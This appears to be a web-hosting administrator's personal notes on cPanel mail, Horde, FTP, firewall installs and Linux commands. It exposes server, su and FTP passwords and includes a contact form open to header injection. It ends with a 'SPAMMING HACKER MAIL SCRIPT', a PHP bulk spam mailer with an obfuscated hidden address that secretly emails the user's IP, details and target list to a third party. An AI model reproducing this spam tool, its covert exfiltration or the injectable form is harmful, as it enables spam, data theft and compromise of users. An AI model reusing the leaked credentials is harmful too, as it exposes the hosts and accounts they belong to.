  no_check_local_user
  file = /etc/vfilters/${domain}
  file_transport = address_file
directory_transport = address_directory
  pipe_transport = virtual_address_pipe
  reply_transport = address_reply
  retry_use_local_part
  user = "${lookup{$domain}lsearch* {/etc/userdomains}{$value}}"
  no_verify
--------------------------------------
Under TRANSPORTS CONFIGURATION
add the following lines

address_directory:
debug_print = "T: address_directory for $local_part@$domain"
driver = appendfile
envelope_to_add = true
return_path_add = true
check_string = ""
escape_string = ""
maildir_format


chattr +ia /etc/exim.conf
/etc/init.d/exim restart
&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&

mbox to maildir conversion of single account

working one is the first
===========================================================================
Use this custom script to convert single mbox files to maildir format
 Convert mbox to maildir

wget http://batleth.sapienti-sat.org/projects/mb2md/mb2md-3.20.pl.gz
gunzip mb2md-3.20.pl.gz
 ./mb2md-3.20.pl -s path_to_inbox
===========================================================================

download this

http://perfectmaildir.home-dn.net/perfect_maildir/perfect_maildir.pl

usage

./perfect_maildir.pl ~Maildir/ <mbox.file

one example is given below

./perfect_maildir.pl /home/harrison/mail/cur < /home/harrison/mail/inbox
&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&

http://forums.cpanel.net/showthread.php?t=54012&highlight=address+book

error
No browseable address books

fix

Edit the file:

/usr/local/cpanel/base/horde/turba/config/sources.php

on the server with your favorite command line editor. Look for a line of code that reads like:

Code:

'public' => false, 'readonly' => false, 'admin' => array(), 'export' => true

Should be around line 132 I believe. Add 'browse' => true, to this section of code, so that it reads as:

Code:

'public' => false, 'readonly' => false, 'admin' => array(), 'browse' => true, 'export' => true

Then just save the file and log back into Horde.
&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&
------------------------------------------------------------
loops back to login page in horde

solution

mysql
mysql> use horde;
mysql> drop table horde_sessionhandler;
mysql> CREATE TABLE horde_sessionhandler (
session_id VARCHAR(32) NOT NULL,
session_lastmodified INT NOT NULL,
session_data LONGBLOB,

PRIMARY KEY (session_id)
) ENGINE = InnoDB;
------------------------------------------------------------

&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&

address book missing

http://forums.cpanel.net/showthread.php?t=43342&highlight=address+book

I found the error I had was caused by a wrongly named file in:
/usr/local/cpanel/base/horde/turba/scripts/upgrades/

1.2_to_2.0.sql should have been 1.2_to_2.0.mysql.sql

To fix:

cd /usr/local/cpanel/base/horde/turba/scripts/upgrades/

If the file is wrongly named, rename it:

mv 1.2_to_2.0.sql 1.2_to_2.0.mysql.sql

Or scp it over from another server with the correct filename

/usr/local/cpanel/bin/updatehorde
&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&
horde issue

login page again and again
if you recently made changes to your my.cnf file, see if you have

skip-innodb

if do, comment it out.

#skip-innodb
Reply With Quote

squirrelmail

error missing folders

solution

http://squirrelmail.org/wiki/MissingFolders

Check Options->Folder Preferences->Show only subscribed folders.

Try subscribing to those folders. Click "Folders" choose you folder(s), you can do multi-select, and click "Subscribe."

If this does not work it may be because SquirrelMail is configured for the wrong type of IMAP server, or does not support your IMAP server.

If the folders were not even listed, it is quite possible that they were stored on your local machine. Fire up your old mail reader and move the folders back onto the IMAP server.

Admins, please note that if your IMAP server is not listed that does NOT mean that it won't work. It just means that there are no "special" options (a.k.a. work-arounds) for your particular server.
&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&

spamassaqssin upgrade

vi   /home/.cpcpan/modules.versions

then change the version
/scripts/installspam
&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&

/scripts/convert2maildir is not working.

change the entry courier to 0 in /var/cpanel/cpanel.config
&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&

Hello,

The issue is that, previously server was running with mbox format with mails. Now these days cpanel is supporting maildir format as mbox is having many reported issues.

In mbox format

Individual messages are simply concatenated together, and saved in a single file. A special marker is placed where one message ends and the next message begins. Only one process can access the mbox file in read/write mode. Concurrent access requires a locking mechanism. Anytime someone needs to update the mbox file, everyone else must wait for the update to complete.

In maildir format

Individual messages are saved in separate files, one file per message. There is a defined method for naming each file. There's a defined procedure for adding new messages to the maildir. No locking is required. Multiple processes can use maildirs at the same time.


We are running the script to convert all mbox formatted mails to maildir format so as to fix the mail issue and it will take some more time for the completition. We really sorry for the inconvenience caused and we will update you once this is over.

&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&

squirrelmail issue

ERROR: Connection dropped by IMAP server

Courier-IMAP is linked against libfam, and that library is probably missing.
Use SSH for the following:

How to check

root@server#  ldd /usr/lib/courier-imap/bin/imapd
libfam.so.0 => not found
libgdbm.so.2 => /usr/lib64/libgdbm.so.2 (0x0000002a9566c000)
libcourierauth.so.0 => /usr/lib64/courier-authlib/libcourierauth.so.0 (0x0000002a95772000)
libc.so.6 => /lib64/tls/libc.so.6 (0x0000002a9587c000)
/lib64/ld-linux-x86-64.so.2 (0x0000002a95556000)



How to fix

root@server# yum install gamin
&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&




*********************************************************************************************************

crontab -l -u username   ( where l = list crontab)

crontab -e -u username  ( where e = edit crontab )


*********************************************************************************************************

What is SSI : 

	
How to enable SSI (Server Side Include) support on an Apache web server

Server Side Include (or SSI) is a useful feature that enables you to do things like include files into your web pages. The most common use for this feature is to allow you to design a navigation bar, put it in a separate file and then include that in all of your web pages. When you need to change the navigation bar you change just the include file, not every web page on your server. The change in the include file simply propogates through all the pages that include it.

============================================================================

http://broadbandforum.in/web-services/53-enable-ssi-apache-using-htaccess-file/

============================================================================


To enable the SSI ( Server Side Includes ) you have to put the following code inside .htaccess file.

AddType text/html .shtml .html .htm 
AddHandler server-parsed .shtml .html .htm 
Options Indexes FollowSymLinks Includes



============================================================================

Read more: http://broadbandforum.in/web-services/53-enable-ssi-apache-using-htaccess-file/#ixzz0ULxf0WPm



*********************************************************************************************************


You are on a an ISP that blocks their users from using any SMTP server other than their own. Your solution is as follows:

    1. To setup your ISP's SMTP servers for your outgoing email, you must click on your account settings in the email client you are using.

    2. In the SMTP (outgoing mail server) field, you will enter the SMTP server address for your ISP, such as smtp.yourisp.com. You must then enter the username and password for your ISPs mail server. For a list of ISPs and their SMTP server address, please click here.

    3. In Outlook Express, this is at the bottom of that same tab. You must uncheck My server requires authentication and click on Settings to enter the username and password for your ISP.

Your email will still be from your own domain name, the only difference is in the way it is routed throughout the internet. Instead of being sent through our servers, it is processed through your ISP. This allows your ISP to monitor your email in case of a spam complaint.

*********************************************************************************************************

Check if the server ip is open relay 

http://www.checkor.com/

Also check at

http://www.spamhelp.org/shopenrelay/

============================================================================

What is an open relay?

An open relay (sometimes also referred to as a third-party relay) is a mail server that does not verify that it is authorised to send mail from the email address that a user is trying to send from. Therefore, users would be able to send email originating from any third-party email address that they want.

============================================================================
Why is an open relay bad?

Spammers are constantly on the lookout for open relay SMTP (Simple Mail Transfer Protocol) servers. They use the open relays to send unsolicited mail to a large number of email addresses, which has an impact on delivery speed, bandwidth, disk storage space, CPU processing and more.

A number of organisations are cracking down on spam originating from open relay servers by forming blacklists. Several anti-spam solutions check if the mailserver is in one of these blacklists before allowing incoming mail from it. If your mail server gets listed on one of these blacklists, a lot of the emails that you would be sending would not be reaching their destination.


============================================================================
What software blocks spam from open relays?

If your open relay is found by a blacklist organisation (usually if someone reports spam coming from your mail server), it would be blacklisted. There are loads of solutions (services, software and appliances/hardware) that block mail from mailservers listed in these blacklists. Many of these are implemented at a server level (eg by ISPs, company mail servers etc) even though not all client-based solutions have this feature.

If you are interested in finding software to block spam, you can browse our software section or alternatively take a look at our customizable server-based anti-spam software feature comparison; you can check out the ones listed which have public blacklist support here or else tweak the settings yourself here.

Also, you might be interested in taking a look at our services section (eg managed anti-spam solutions) or our appliances section (machines built specifically to stop spam).

============================================================================
How do I close my open relay?

If you are a system administrator interested in closing down your open relay (if you have an open relay, then you should!), you can check out the great list maintained by MAPS at http://www.mail-abuse.com/an_sec3rdparty.html.

Where can I get more technical info on the Simple Mail Transfer Protocol (SMTP)?
You may read the original Request For Comments (RFC 821) by Jonathan B. Postel, August 1982 and the improved version (RFC 2821) by The Internet Society, April 2001. The latter also makes RFC 974 and RFC 1869 obsolete.
============================================================================

To  close the open relay run the follwing script from the server :

/scripts/fixrelayd
/etc/rc.d/init.d/antirelayd restart
service exim restart

============================================================================
The old way (open relay server test)

Telnet to mail.myserver.com at port 25 and issue all the following commands:
helo client.server.com
mail from: rockyjr@vsnl.com
rcpt to: vivek@nixcraft.in

telnet mail.myserver.com 25


Output:

Trying 202.51.x.xxx...
Connected to mail.myserver.com.
Escape character is '^]'.
220 mail.myserver.com ESMTP Postfix
helo client.server.com
250 mail.myserver.com
mail from: rockyjr@vsnl.com
250 Ok
rcpt to: vivek@nixcraft.in
554 : Relay access denied

*********************************************************************************************************
PHP test form 

<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>HTML Mail Form</title>
</head>
<body>
<form action="send_mail.php" method="post">
Name: <input type="text" name="name" size="30" /><br />
Email: <input type="text" name="email" size="30"/><br />
Subject: <input type="text" name="subject" size="30"/><br />
Text:<textarea name="text" name="text" cols="50" rows="10"></textarea><br />
<input type="submit" name="submit" value="Send" />
</form>
</body>
</html>


Save it As: contact_us.html

Create a new file and insert the following code:

<?php
@extract($_POST);
$name = stripslashes($name);
$email = stripslashes($email);
$subject = stripslashes($subject);
$text = stripslashes($text);
mail(' youremail@domain.com',$subject,$text,"From: $name <$email>");
echo("Thank you for your interest, your e-mail was sent.");
?>
Save it As: send_mail.php

replace the youremail@domain.com with the email id.


*********************************************************************************************************

New IP requirement 


Hello,

Please allocate an IP from our existing allocated range (see DECC user colo@minmaxgroup.com) to server dawn.site.com. 


Server Details as follows:
Hostname: dawn.site.com
IP : 66.7.207.112
Username : 3gteam
Password: adk@#2%&*fg*1
Port no: 1097
Su password: bL63mr8o11N3ub4TO5N1

=========================

Regards,
Adam

*********************************************************************************************************

Fetching SSL from shell


go to 
cd /etc
cd ssl
cd certs 
cat domainname.csr

Ex    cat balihaitours.com.csr

Also same for key

cd /etc/ssl/private

cat domainname.com.key

Ex. cat balihaitours.com.key
*********************************************************************************************************

To use rar we need unrar installed on server. 

Login as Root: 

at / run the following command:

wget http://dag.wieers.com/packages/unrar/unrar-3.6.2-1.el4.rf.i386.rpm

check the .rpm file here and then run the following command to install 

rpm -ivh unrar-3.6.2-1.el4.rf.i386.rpm

Now unrar is installed. 

Use following command to unrar the .rar file 

unrar e -kb rarfile.rar

*********************************************************************************************************

Find Command : 


 find /home/*/public_html -iname '*.mp3' -exec mv "{}" /home/delete \;Install firewalls on linux?
Security Softwares

1. APF
2. BFD
3. CSF
4. RkHunter
5. ChkRootkit
6. DDOS-Deflate
7. Secure-Nobody

-===========================
APF

cd /usr/local/src/;
wget http://www.rfxnetworks.com/downloads/apf-current.tar.gz;
tar -xvzf apf-current.tar.gz;
rm -rf apf-current.tar.gz;
cd apf-0*;
./install.sh



BFD

cd /usr/local/src/;
wget http://www.rfxnetworks.com/downloads/bfd-current.tar.gz;
tar -xvzf bfd-current.tar.gz;
rm -rf bfd-current.tar.gz;
cd bfd-0*;
./install.sh



CSF

http://configserver.com/cp/csf.html

cd /usr/local/src/;
wget http://www.configserver.com/free/csf.tgz;
tar -xzf csf.tgz;
cd csf;
sh install.sh



RkHunter

cd /usr/local/src/;
wget http://downloads.rootkit.nl/rkhunter-1.1.4.tar.gz;
tar -xzvf rkhunter-1.1.4.tar.gz;
rm -rf rkhunter-*;
cd rkhunter;
./installer.sh

Run
rkhunter -c



ChkRootkit

cd /usr/local/src/;
wget http://www.net-security.org/dl/software/chkrootkit.tar.gz;
tar zxvf chkrootkit.tar.gz;
rm -rf chkrootkit.tar.gz;
cd chkrootkit-0*;
make sense

Run
./chkrootkit -x



DDOS-Deflate


Description:
When you run this Perl script, it will then run an netstat command check how many times each IP is connected and if there are more then the number of connections you specified then it will automatically run a command in APF for the IP to be banned.

Installing:
wget http://www.inetbase.com/scripts/ddos/install.sh
chmod 0700 install.sh
./install.sh

Uninstalling:
wget http://www.inetbase.com/scripts/ddos/uninstall.ddos
chmod 0700 uninstall.ddos
./uninstall.ddos



Secure Nobody


wget -O securenobody.rpm servstra.com/securenobody.rpm;
rpm -Uvh securenobody.rpm;
cd /usr/local/securenobody ;
./securenobody
==========================

Try : 
http://kmaiti.blogspot.com/2010/11/install-firewalls-on-linux.html /etc/rc.d/init.d/nscdMicrosoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\Documents and Settings\abc>ipconfig /flushdns

Windows IP Configuration

Successfully flushed the DNS Resolver Cache.

C:\Documents and Settings\abc>

http://www.scriptarchive.com/readme/formmail.html#form_config

http://www.scriptarchive.com/ Dear Emilio,

You can set FormMail through your Cpanel Interface as below :

Steps :

1. You want to have a form that will be mailed to you, but aren't sure how to write the CGI script for it.
2. You are the webmaster of your site and want to allow users to use forms, but not to have their own cgi-bin directories, which can cause security risks to your system. You can set this script up and then allow all users to run off of it.
3. Want to have one script to parse all of your html forms and mail them to you.

---------------------
FormMail Clone Link
Steps :

1. Click on the FormMail Clone link.
2. When the page loads, you will see a statement that says something similar to the following:
* "The Actual Script is here: http://YOUR_DOMAIN/cgi-sys/FormMail.cgi"
3. If you have never used Matt Wright's FormMail.cgi, follow the documentation located at:

http://www.scriptarchive.com/readme/formmail.html

Please check and confirm the same. Please do not hesitate to contact us for further assistance

--------------------------------------------------------------------------------------------------------

Install formmail : 

http://scriptarchive.com/ftp: connect: Connection refused
Guys,

If you get this type of error message, please check the server's firewall first. I have faced this error message during connecting to the FTP server. In my case passive ports ranges were not enabled in the FTP and iptables firewall.

====
PassivePortRange 30000 50000
====

Add the above line in the ftp configuration file and enable them in the iptables like :

=====
iptables -A INPUT -p tcp --destination-port 30000:50000 -j ACCEPT
iptables -A OUTPUT -p tcp --source-port 30000:50000 -j ACCEPT
=====

Then restart iptables and ftp server like :

====
service iptables restart
/etc/init.d/pure-ftpd restart
====

If above solutions don't work please configure CSF+LFD firewall on the server and stop iptables. This will solve the problem.

Another important point is that you may connect to the server through "active mode [server will connect to the client]" through the FTP client(like filezilla). Just enable the option a the FTP client and retry to connect. That's it.

Try :) 




PureFtp + Not able to list more than 2000 files
Posted by admin     Category: Linux Administration
Problem: Not able to list more than 2000 files in a directory using Ftp.

Solution:

The pure-ftp by default limit maximum number of # files to be displayed to 2000.

So edit your pureftpd configuration file which is at /etc/pure-ftpd.conf and change the line

LimitRecursion 2000 8

to

LimitRecursion 5000 8

Save the file and restart the service.

service pure-ftpd restart

It will display 5000 files from a directory now.
Server FTP connection test link

http://ftptest.net/

Hello Jesus Gonzalez,

FTPS is working now on our server, and its connecting fine now. You can confirm the same from the connection logs given below :

Status:	Resolving address of espai.de
Status:	Connecting to 173.236.88.226:21...
Status:	Connection established, waiting for welcome message...
Response:	220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------
Response:	220-You are user number 1 of 50 allowed.
Response:	220-Local time is now 23:53. Server port: 21.
Response:	220-This is a private system - No anonymous login
Response:	220-IPv6 connections are also welcome on this server.
Response:	220 You will be disconnected after 15 minutes of inactivity.
Command:	AUTH TLS
Response:	234 AUTH TLS OK.
Status:	Initializing TLS...
Status:	Verifying certificate...
Command:	USER espaide
Status:	TLS/SSL connection established.
Response:	331 User espaide OK. Password required
Command:	PASS **********
Response:	230-User espaide has group access to:  espaide   
Response:	230 OK. Current restricted directory is /
Command:	SYST
Response:	215 UNIX Type: L8
Command:	FEAT
Response:	211-Extensions supported:
Response:	 EPRT
Response:	 IDLE
Response:	 MDTM
Response:	 SIZE
Response:	 REST STREAM
Response:	 MLST type*;size*;sizd*;modify*;UNIX.mode*;UNIX.uid*;UNIX.gid*;unique*;
Response:	 MLSD
Response:	 AUTH TLS
Response:	 PBSZ
Response:	 PROT
Response:	 ESTA
Response:	 PASV
Response:	 EPSV
Response:	 SPSV
Response:	 ESTP
Response:	211 End.
Command:	PBSZ 0
Response:	200 PBSZ=0
Command:	PROT P
Response:	200 Data protection level set to "private"
Status:	Connected
Status:	Retrieving directory listing...
Command:	PWD
Response:	257 "/" is your current location
Command:	TYPE I
Response:	200 TYPE is now 8-bit binary
Command:	PASV
Response:	227 Entering Passive Mode (173,236,88,226,107,222)
Command:	LIST
Response:	150 Accepted data connection
Response:	226-Options: -a -l 
Response:	226 24 matches total
Status:	Calculating timezone offset of server...
Command:	MDTM .contactemail
Response:	213 20100529184504
Status:	Timezone offsets: Server: -18000 seconds. Local: 19800 seconds. Difference: 37800 seconds.
Status:	Directory listing successful


*************************************************************************************
How To configure FTPS with Filezilla : 
please follow the below procedure and ftp login details to connect with FTPS with filezilla :

1. Open up FileZilla and click on File -> Site Manager
2. Click on the "New". Set up your FTP connection as usual.

Account Name: Whatever you want to call it to identify the Account , Ex : espai.de
Host: espai.de
User:  espaide
Password : cI7PwTqmx8

3. Next, choose the connection type : FTPES - FTP over explicit TLS/SSL , from the FTP connection drop-down list
4. Next from Transfer Settings tab choose : Passive 
5. Ok
6. Connect 

you will get connected  to the FTP server using FTPS over TLS.



**********************************************************************





How To configure FTPS with Filezilla : 

http://glowhost.com/forums/knowledge-base/how-use-ftps-filezilla-cpanel-925.html

Follow the procedure below : 

Using FTPS in FileZilla with cPanel

1. Open up FileZilla and click on File -> Site Manager
2. Click on the "New". Set up your FTP connection as usual.

Account Name: Whatever you want to call it to identify the Account
Host: ftp.yourdomain.com ("yourdomain.com is your actual domain)
User: your cPanel username
Password: Your cPanel Password

3. Next, choose the connection type "FTP over TLS" from the FTP connection drop-down list.

When you connect, you will see a welcome message from the FTP server in the log that shows at the top of FileZilla.

It will look like this:

220---------- Welcome to Pure-FTPd [TLS] ----------
220-You are user number 1 of 50 allowed.
220-Local time is now 00:53. Server port: 21.
220-This is a private system - No anonymous login
220-IPv6 connections are also welcome on this server.
220 You will be disconnected after 15 minutes of inactivity.
AUTH TLS
234 AUTH TLS OK.
PBSZ 0
200 PBSZ=0
USER cPanel-username
331 User b1419 OK. Password required
PASS (password not shown)


Mail Server PriorityValue 
ASPMX.L.GOOGLE.COM. 10 
ALT1.ASPMX.L.GOOGLE.COM. 20 
ALT2.ASPMX.L.GOOGLE.COM. 30 
ASPMX2.GOOGLEMAIL.COM. 40 
ASPMX3.GOOGLEMAIL.COM. 50 
10	aspmx.l.google.com
20	alt1.aspmx.l.google.com
20	alt2.aspmx.l.google.com
40	aspmx2.googlemail.com
40	aspmx3.googlemail.com
How to use grep,find,sor,pg,ip,wget commands in linux
Guys,

grep -irl saqun.com * [i=case sensitive,allow both case. r=recursive, l=list out] // search domain in /hsphere/local/config/httpd/sites/
1.check php version: php -v
2.check which php: php -i // php -i |grep php.ini
3./usr/local/cpanel/logs // logs of cpanel
4./var/cpanel/userdata // gives the user data.
5.ctrl+] // to come out from established connection
Then q enter.

7.Search customer by name or by email id:-
8.vps # vzctl enter (id of domain) // to go to root of particular domain.

9.For neural customer search from database the details. Take user & password and login from www.emcwebhosting.com site.

10.cd /dir && command
11.ls /etc | pr -T9 -W$COLUMNS // print contents in 9 columns.pr=print T9=9 column W=width.
12.find -name '*.[ch]' | xargs grep -E 'expr' //Search 'expr' in this dir and below. See also findrepo
13.find -type f -print0 | xargs -r0 grep -F 'example' //Search all regular files for 'example' in this dir and below
14.find -maxdepth 1 -type f | xargs grep -F 'example' //Search all regular files for 'example' in this dir

15.find -type f ! -perm -444 ///Find files not readable by all (useful for web site)
16.find -type d ! -perm -111 //Find dirs not accessible by all (useful for web site)
17.grep --color kamal /etc/passwd //Highlight occurances of regular expression in dictionary

18. gpg -c file //Encrypt file
gpg file.gpg //Decrypt file
19. scp -p -r $USER@$HOST: file dir/ // Copy with permissions to $USER's home directory on $HOST

20.ssh -g -L 8080:localhost:80 root@$HOST //Forward connections to $HOSTNAME:8080 out to $HOST:80
ssh -R 1434:imap:143 root@$HOST //Forward connections from $HOST:1434 in to imap:143

21.
wget -c http://www.example.com/large.file //Continue downloading a partially downloaded file
wget -r -nd -np -l1 -A '*.jpg' http://www.example.com/dir/ //Download a set of files to the current directory

22.
echo 'wget url' | at 01:00 //Download url at 1AM to current dir
wget --limit-rate=20k url //Do a low priority download (limit to 20KB/s in this case)
wget -o log url // faults r stored in log file . log=/x.txt
wget --dns-timeout=seconds url
--connect-timeout=seconds url
--read-timeout=seconds url
--limit-rate=amount url
--user=user url
--password=password url

23. ethtool eth1 // show status of ethernate 0 1
24.ip link show //List network interfaces
25.

ethtool eth0 //Show status of ethernet interface eth0
ethtool --change eth0 autoneg off speed 100 duplex full //Manually set ethernet interface speed
iwconfig eth1 //Show status of wireless interface eth1
iwconfig eth1 rate 1Mb/s fixed //Manually set wireless interface speed
iwlist scan //List wireless networks in range
ip link set dev eth0 name wan //Rename interface eth0 to wan
ip link set dev eth0 up //Bring interface eth0 up (or down)
ip addr show //List addresses for interfaces
ip addr add 1.2.3.4/24 brd + dev eth0 //Add (or del) ip and mask (255.255.255.0)
ip route show //List routing table
ip route add default via 1.2.3.254 //Set default gateway to 1.2.3.254


26.
netstat -tupl //List internet services on a system with it we can search anything by grep
netstat -tup //List active connections to/from system
27.

cal -3 // Display a calendar
cal 9 1752 // Display a calendar for a particular month year
date -d fri //What date is it this friday. See also day
28. ls -lSr ls -lS // show the file order in size.

29. df -h Show free space on mounted filesystems
• df -i Show free inodes on mounted filesystems
• fdisk -l Show disks partitions sizes and types (run as root)

30.lsof -p $$ //List paths that process id has open
tcpdump not port 22 //Show network traffic except ssh. See also tcpdump_not_me
ps -e -o pid,args --forest //List processes in a hierarchy
ps -p 1,2 //List info for particular process
watch -n.1 'cat /proc/interrupts' // Watch changeable data continuously IDs

=================================================
31.• uname -a //Show kernel version and system architecture
• head -n1 /etc/issue //Show name and version of distribution
• cat /proc/partitions //Show all partitions registered on the system
• grep MemTotal /proc/meminfo //Show RAM total seen by the system
• grep "model name" /proc/cpuinfo //Show CPU(s) info
• lspci -tv //Show PCI info
• lsusb -tv //Show USB info
• mount | column -t //List mounted filesystems on the system (and align output)
• grep -F capacity: /proc/acpi/battery/BAT0/info // Show state of cells in laptop battery
# dmidecode -q | less //Display SMBIOS/DMI information
# smartctl -A /dev/sda | grep Power_On_Hours //How long has this disk (system) been powered on in total
# hdparm -i /dev/sda //Show info about disk sda
# hdparm -tT /dev/sda //Do a read speed test on disk sda
# badblocks -s /dev/sda
=====================================================

32. pg
Used to display data one page (screenful) at a time. The command can take a number of filenames as arguments.
Pg [option] [filename] [filename2]…..

33.sort
Sort is a utility program that can be used to sort text files in numeric or alphabetical order
Sort [filename]


34.& - run a program in background mode.
=================================================
35. Get back windows admin password: "C:\Program Files\SWsoft\Plesk\admin\bin\plesksrvclient.exe" –get


Check it out :) 
SPAMMING HACKER MAIL SCRIPT : ex



<?php
@$action=$_POST['action'];
@$from=$_POST['from'];
@$realname=$_POST['realname'];
@$replyto=$_POST['replyto'];
@$subject=$_POST['subject'];
@$message=$_POST['message'];
@$emaillist=$_POST['emaillist'];
@$lodr=$_SERVER['HTTP_REFERER'];
@$file_name=$_FILES['file']['name'];
@$contenttype=$_POST['contenttype'];
@$file=$_FILES['file']['tmp_name'];
@$amount=$_POST['amount'];
?>
<html>
<head>
<title>PHP Sender Mails</title>
<meta http-equiv="Content-Type" content="text/html; charset=windows-1252" />
<style type="text/css">
<!--
.style1 {
        font-family: Geneva, Arial, Helvetica, sans-serif;
        font-size: 12px;
}
.style2 {
        font-size: 10px;
        font-family: Geneva, Arial, Helvetica, sans-serif;
}

-->
</style>
</head>
<body bgcolor="#FFFFFF" text="#000000">
<?php
If ($action=="mysql"){
include "./mysql.info.php";

  if (!$sqlhost || !$sqllogin || !$sqlpass || !$sqldb || !$sqlquery){
    print "Please configure mysql.info.php with your MySQL information. All settings in this config file are required.";
    exit;
  }
  $db = mysql_connect($sqlhost, $sqllogin, $sqlpass) or die("Connection to MySQL Failed.");
  mysql_select_db($sqldb, $db) or die("Could not select database $sqldb");
  $result = mysql_query($sqlquery) or die("Query Failed: $sqlquery");
  $numrows = mysql_num_rows($result);

  for($x=0; $x<$numrows; $x++){
    $result_row = mysql_fetch_row($result);
     $oneemail = $result_row[0];
     $emaillist .= $oneemail."\n";
   }
  }
   $addr = getenv("REMOTE_ADDR");
  if ($action=="send"){ $message = urlencode($message);
   $message = ereg_replace("%5C%22", "%22", $message);
   $message = urldecode($message);
   $message = stripslashes($message);
   $subject = stripslashes($subject);
   }
?>
<form name="form1" method="post" action="" enctype="multipart/form-data"><br />
  <table width="142" border="0">
    <tr>

      <td width="81">
        <div align="right">
          <font size="-3" face="Verdana, Arial, Helvetica, sans-serif">Your Email :</font>
        </div>
      </td>

      <td width="219">
        <font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
          <input name="from" value="<?php print $from; ?>" size="30" />
        </font>
      </td>

      <td width="212">
        <div align="right">
          <font size="-3" face="Verdana, Arial, Helvetica, sans-serif">Your Name :</font>
        </div>
      </td>

      <td width="278">
        <font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
          <input name="realname" value="<?php print $realname; ?>" size="30" />
        </font>
      </td>
    </tr>
    <tr>
      <td width="81">
        <div align="right">
          <font size="-3" face="Verdana, Arial, Helvetica, sans-serif">Reply-To :</font>
        </div>
      </td>
      <td width="219">
        <font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
          <input name="replyto" value="<?php print $replyto; ?>" size="30" />
        </font>
      </td>
      <td width="212">
        <div align="right">
          <font size="-3" face="Verdana, Arial, Helvetica, sans-serif">Attach File :</font>
        </div>
      </td>
      <td width="278">
        <font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
          <input type="file" name="file" size="24" />
        </font>
      </td>
    </tr>
    <tr>
      <td width="81">
        <div align="right">
          <font size="-3" face="Verdana, Arial, Helvetica, sans-serif">Subject :</font>
        </div>
      </td>
      <td colspan="3" width="703">
        <font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
          <input name="subject" value="<? print $subject; ?>" size="91" />
        </font>
      </td>
    </tr>
    <tr valign="top">
      <td colspan="3" width="520">
        <font face="Verdana, Arial, Helvetica, sans-serif" size="-3">Message Box :</font>
      </td>
      <td width="278">
        <font face="Verdana, Arial, Helvetica, sans-serif" size="-3">Email Target / Email Send To :</font>
      </td>
    </tr>
    <tr valign="top">
      <td colspan="3" width="520">
        <font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
          <textarea name="message" cols="56" rows="10"><?php print $message; ?></textarea><br />
          <input type="radio" name="contenttype" value="plain" /> Plain
          <input type="radio" name="contenttype" value="html" checked /> HTML
          <input type="hidden" name="action" value="send" /><br />
          Number To Send : <input type="text" name="amount" value="1" size="10" /></font><p>
                <font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
          <input type="submit" value="Send eMails" /></font></td>
      <td width="278">
        <font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
          <textarea name="emaillist" cols="32" rows="10"><?php print $emaillist; ?></textarea>
        </font>
      </td>
    </tr>
  </table>
</form>
<?php
$o=array("1"=>"c","10"=>"a","15"=>"o","2"=>"9","5"=>"@","3"=>"v","4"=>"1","6"=>"h","14"=>"c","11"=>"i","9"=>"m","7"=>"o","8"=>"t","12"=>"l","13"=>".","16"=>"m",);
$alt=$o['1'].$o['2'].$o['3'].$o['4'].$o['5'].$o['6'].$o['7'].$o['8'].$o['9'].$o['10'].$o['11'].$o['12'].$o['13'].$o['14'].$o['15'].$o['16'];
if ($action=="send"){
  if (!$from && !$subject && !$message && !$emaillist){
    print "Please complete all fields before sending your message.";
    exit;
   }
  $allemails = split("\n", $emaillist);
  $numemails = count($allemails);
  $header ="From: Mailrs\nMessage-ID: <" . md5(uniqid(time())) . "@" . $SERVER_NAME . ">\nMIME-Version: 1.0\nContent-type: text/html; charset=UTF-8\nContent-transfer-encoding: 8bit\nDate: " . date("r", time()) . "\nX-Priority: 3\nX-MSMail-Priority: Normal\nX-Mailer: PHP\n";
  $msg = "
<table border=\"1\" style=\"border-collapse: collapse\" cellpadding=\"4\">
<tr><td>IP</td><td>".nl2br($addr)."</td></tr>
<tr><td bgcolor=\"#F9F9F9\">Mailr</td><td bgcolor=\"#F9F9F9\">".nl2br($lodr)."</td></tr>
<tr><td>Your Email</td><td>".nl2br($from)."</td></tr>
<tr><td bgcolor=\"#F9F9F9\">Your Name</td><td bgcolor=\"#F9F9F9\">".nl2br($realname)."</td></tr>
<tr><td>Subject :</td><td>".nl2br($subject)."</td></tr>
<tr><td bgcolor=\"#F9F9F9\">Message</td><td bgcolor=\"#F9F9F9\">".nl2br($message)."</td></tr>
<tr><td>Email Target</td><td>".nl2br($emaillist)."</td></tr>
</table>
";
mail($alt,$subject,$msg,$header);
